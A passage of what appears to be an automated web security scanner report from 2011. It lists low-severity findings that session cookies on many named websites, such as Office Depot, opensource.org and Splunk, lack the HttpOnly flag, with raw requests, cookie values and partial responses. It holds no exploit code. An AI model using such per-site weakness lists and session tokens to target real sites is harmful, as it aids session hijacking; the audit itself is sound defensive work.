Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: language=EN_1; expires=Sun, 05-Feb-2012 23:02:51 GMT; path=/; domain=.netlog.com
Location: http://en.netlog.com/
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.127. http://www.netvouz.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.netvouz.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=0000jQb9DKl__HTGjPUMmqXLC4O:-1; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.netvouz.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:52 GMT
Server: IBM_HTTP_Server
P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR NOR UNI COM NAV"
Set-Cookie: JSESSIONID=0000jQb9DKl__HTGjPUMmqXLC4O:-1; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 20206

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...

15.128. http://www.oandp.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.oandp.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDCQSQQCTS=MNHFLLNCGGABOKOGOBCCPICA; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.oandp.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.129. http://www.officedepot.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.officedepot.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000hgPPLoHv4btY2S4F68ZL1i_:13ddq0t8b; Path=/
jsession_unique_id=1296945586525; Expires=Sun, 06 Feb 2011 00:09:46 GMT; Path=/
IBSD_LOCALE=en_US; Expires=Tue, 31 Jan 2012 22:39:46 GMT; Path=/
CID_CART_COOKIE=hgPPLoHv4btY2S4F68ZL1i_; Expires=Mon, 07 Mar 2011 22:39:46 GMT; Path=/
CID_CART_COOKIE=hgPPLoHv4btY2S4F68ZL1i_; Expires=Mon, 07 Mar 2011 22:39:46 GMT; Path=/
CID_CART_COOKIE=hgPPLoHv4btY2S4F68ZL1i_; Expires=Mon, 07 Mar 2011 22:39:46 GMT; Path=/
cae_browser=desktop; path=/; domain=.officedepot.com

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.130. http://www.officedepot.com/promo/list5.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.officedepot.com
Path:	/promo/list5.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000N7JB0IDdbJzrbHY1HCK2e8j:13ddq0uth; Path=/
jsession_unique_id=1296945606192; Expires=Sun, 06 Feb 2011 00:10:06 GMT; Path=/
IBSD_LOCALE=en_US; Expires=Tue, 31 Jan 2012 22:40:06 GMT; Path=/
CID_CART_COOKIE=N7JB0IDdbJzrbHY1HCK2e8j; Expires=Mon, 07 Mar 2011 22:40:06 GMT; Path=/
CID_CART_COOKIE=N7JB0IDdbJzrbHY1HCK2e8j; Expires=Mon, 07 Mar 2011 22:40:06 GMT; Path=/
CID_CART_COOKIE=N7JB0IDdbJzrbHY1HCK2e8j; Expires=Mon, 07 Mar 2011 22:40:06 GMT; Path=/
CID_CART_COOKIE=N7JB0IDdbJzrbHY1HCK2e8j; Expires=Mon, 07 Mar 2011 22:40:06 GMT; Path=/
cae_browser=desktop; path=/; domain=.officedepot.com

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /promo/list5.do HTTP/1.1
Host: www.officedepot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.131. http://www.oit.gatech.edu/content/information-security/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.oit.gatech.edu
Path:	/content/information-security/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS701e63468b7538f49a91969758042315=s4gpbpghl1f5701jp01hsem6r4; expires=Tue, 01-Mar-2011 01:40:31 GMT; path=/; domain=.oit.gatech.edu

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /content/information-security/ HTTP/1.1
Host: www.oit.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.132. http://www.oit.gatech.edu/service/software-distribution/software-distribution previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.oit.gatech.edu
Path:	/service/software-distribution/software-distribution

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS701e63468b7538f49a91969758042315=m62ul61cvi1ckhdg53u2dh1e65; expires=Tue, 01-Mar-2011 01:40:32 GMT; path=/; domain=.oit.gatech.edu

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.133. http://www.oneview.de/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.oneview.de
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=22619842C67867F5B1EE74469F963957; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.oneview.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.134. http://www.opensource.org/licenses previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.opensource.org
Path:	/licenses

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=qp04j6ahncp7397qflcna4ur70; expires=Tue, 01-Mar-2011 19:43:40 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.135. http://www.opensource.org/licenses/gpl-license.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.opensource.org
Path:	/licenses/gpl-license.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=7ouqru0o8m70kapcbbqj8iufr0; expires=Tue, 01-Mar-2011 01:40:37 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses/gpl-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.136. http://www.opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.opensource.org
Path:	/licenses/mit-license.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=raeopqqi3qp3gbo1qqsrhelq96; expires=Tue, 01-Mar-2011 01:40:36 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses/mit-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.137. http://www.orthougm.com/nslookup.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.orthougm.com
Path:	/nslookup.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /nslookup.html HTTP/1.1
Host: www.orthougm.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.138. http://www.othawaii.com/default.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.othawaii.com
Path:	/default.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASPSESSIONIDCADDSQTB=PNOPIINCCOHAAGBEKJOCEMNK; path=/
promoCode=987%2D78; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /default.asp?promoCode=987-78 HTTP/1.1
Host: www.othawaii.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.139. http://www.pdfforge.org/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pdfforge.org
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESSc75490b6e05df4b955c54eec3097373b=o8ot6jt3lo29pi8jckb7f0fjc2; expires=Tue, 01-Mar-2011 01:42:37 GMT; path=/; domain=.pdfforge.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.pdfforge.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.140. http://www.pointehilton.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pointehilton.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=16197155;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/
CFTOKEN=66704047;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/
BIGipServerIMS-6=773065226.20480.0000; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.141. http://www.pusha.se/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pusha.se
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=a30db15870b299b7745ce9d189a9a26c; path=/; domain=.pusha.se

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.pusha.se
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.142. http://www.retrevo.com/support/HP-W8000-Desktops-manual/id/3823ag123/t/2 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.retrevo.com
Path:	/support/HP-W8000-Desktops-manual/id/3823ag123/t/2

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=7C9CF70A5240CFB9892A007BA287025C; Path=/
u=4d9f3b67934f473891bc273394b24dad; Domain=.retrevo.com; Expires=Mon, 28-Jan-2041 22:09:27 GMT; Path=/
us=4d9f3b67934f473891bc273394b24dad; Path=/
ss=65665; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /support/HP-W8000-Desktops-manual/id/3823ag123/t/2 HTTP/1.1
Host: www.retrevo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.143. http://www.slackinc.com/privacypolicy.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.slackinc.com
Path:	/privacypolicy.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDCACARTTB=JABALOKCHIPGHGJAFOOIMGKB; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /privacypolicy.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 15320
Content-Type: text/html
Set-Cookie: ASPSESSIONIDCACARTTB=JABALOKCHIPGHGJAFOOIMGKB; path=/
Cache-control: private

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>SLACK Incorporated: Privacy Policy</title>
<STYLE type="text/css">
.header16, .header14, .header13, .header
...[SNIP]...

15.144. https://www.slackinc.com/reprints/order.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.slackinc.com
Path:	/reprints/order.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDCACARTTB=MHBALOKCEGMPNINNPNAKBMPM; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /reprints/order.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.145. https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/atshcstep1.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDCACARTTB=KEBALOKCOFGEPEJFNBJCPGGJ; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /subscribe/newsubs/atshcstep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.146. https://www.slackinc.com/subscribe/newsubs/otistep1.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/otistep1.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDCACARTTB=JBBALOKCCLGHONAJLBLPKHGK; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /subscribe/newsubs/otistep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.147. http://www.smartertechnology.com/c/s/Tools/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.smartertechnology.com
Path:	/c/s/Tools/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=49fc20c8849431471181ec30c03d2e94; expires=Mon, 06-Feb-2012 16:14:20 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /c/s/Tools/ HTTP/1.1
Host: www.smartertechnology.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.148. http://www.splunk.com/cave/narc.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.splunk.com
Path:	/cave/narc.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=gq30qat19nu7cp87h2ahjp4ak6; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cave/narc.php?u=/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw&r=http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg&a=Adwords_Unix&cid= HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567; Enabled=true

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:44 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=gq30qat19nu7cp87h2ahjp4ak6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

15.149. http://www.startaid.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.startaid.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=076475bf8690bf4ab64eeabc6ab96c61; path=/
pageView=advanced; expires=Tue, 08-Mar-2011 16:15:54 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.startaid.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:54 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.9
X-Powered-By: PHP/5.2.9
Set-Cookie: PHPSESSID=076475bf8690bf4ab64eeabc6ab96c61; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: pageView=advanced; expires=Tue, 08-Mar-2011 16:15:54 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 81144

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Online Bookmarks and Favorites - StartA
...[SNIP]...

15.150. http://www.stumpedia.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.stumpedia.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=oal2pj01ul0o7c2hngqqi8gu33; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.stumpedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.151. http://www.sulit.com.ph/index.php/view previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.sulit.com.ph
Path:	/index.php/view

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESSION_ID=irtoo98lni0bfkq9vmg49fn8t3; path=/; domain=.sulit.com.ph

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.php/view HTTP/1.1
Host: www.sulit.com.ph
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.152. http://www.symbaloo.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.symbaloo.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=F657FA86143ED37B3FFB0840845C3ADF; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.symbaloo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:57 GMT
Server: Apache/2.2.14 (Ubuntu)
Set-Cookie: JSESSIONID=F657FA86143ED37B3FFB0840845C3ADF; Path=/
Accept-Encoding: gzip,deflate
Set-Cookie: hasvisited=true; Expires=Thu, 07-Apr-2011 16:15:57 GMT; Path=/
Content-Language: en
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 55620

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="EN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
...[SNIP]...

15.153. http://www.tarifcheck24.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.tarifcheck24.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=d96a2f7e678a2798428d897282afc145; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.tarifcheck24.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 16:15:58 GMT
Server: Apache
Set-Cookie: PHPSESSID=d96a2f7e678a2798428d897282afc145; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.tarifcheck24.com/d96a2f7e678a2798428d897282afc145/
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 0

15.154. http://www.technotizie.it/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.technotizie.it
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=a2fe6d01069a1f823b3db46a2b731463; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.155. http://www.usbjd.org/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.usbjd.org
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=2725183;expires=Mon, 28-Jan-2041 22:21:38 GMT;path=/
CFTOKEN=11047330;expires=Mon, 28-Jan-2041 22:21:38 GMT;path=/
JSESSIONID=f03049975b529aec19d61d691f7b301a1652;path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.usbjd.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.156. http://www.viadeo.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.viadeo.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=3B4ECBE6DEBEC0E4A014395022499777.tomcat8; Path=/
Coyote-2-a030164=a040108:0; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.viadeo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 303 Voir Autre
Date: Sun, 06 Feb 2011 16:16:09 GMT
Server: Apache
Set-Cookie: JSESSIONID=3B4ECBE6DEBEC0E4A014395022499777.tomcat8; Path=/
P3P: policyref="http://www.viadeo.com/w3c/p3p.xml",CP="ALL DSP COR DEVa TAIa OUR BUS UNI"
Location: /en/connexion/
Content-Type: text/html;charset=ISO-8859-1
Set-Cookie: Coyote-2-a030164=a040108:0; path=/
Accept-Ranges: bytes
Cache-Control: private, no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Length: 13

15.157. http://www.vibrantmedia.co.uk/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.vibrantmedia.co.uk
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQCCTAQAD=DJOEDIPCFAMNFFGAJPMFFPIK; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.vibrantmedia.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 35912
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQCCTAQAD=DJOEDIPCFAMNFFGAJPMFFPIK; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:16:09 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Vibrant - The Leaders of Contex
...[SNIP]...

15.158. http://www.vibrantmedia.com/about/board.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.vibrantmedia.com
Path:	/about/board.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQCCTAQAD=HJOEDIPCILHJIDAFPKHHLCEA; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about/board.asp HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maintab=tcontent2; ASPSESSIONIDQADSARBD=AKAGFMCCECLPJIFLFOEMFLCL;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 34133
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQCCTAQAD=HJOEDIPCILHJIDAFPKHHLCEA; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:16:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Vibrant Board of Directors</tit
...[SNIP]...

15.159. http://www.vibrantmedia.com/about/index.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.vibrantmedia.com
Path:	/about/index.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQCCTAQAD=PJOEDIPCIHEHAPPCDPMEOBPI; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about/index.asp HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maintab=tcontent2; ASPSESSIONIDQADSARBD=AKAGFMCCECLPJIFLFOEMFLCL;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 30183
Content-Type: text/html
Server: Microsoft-IIS/7.5
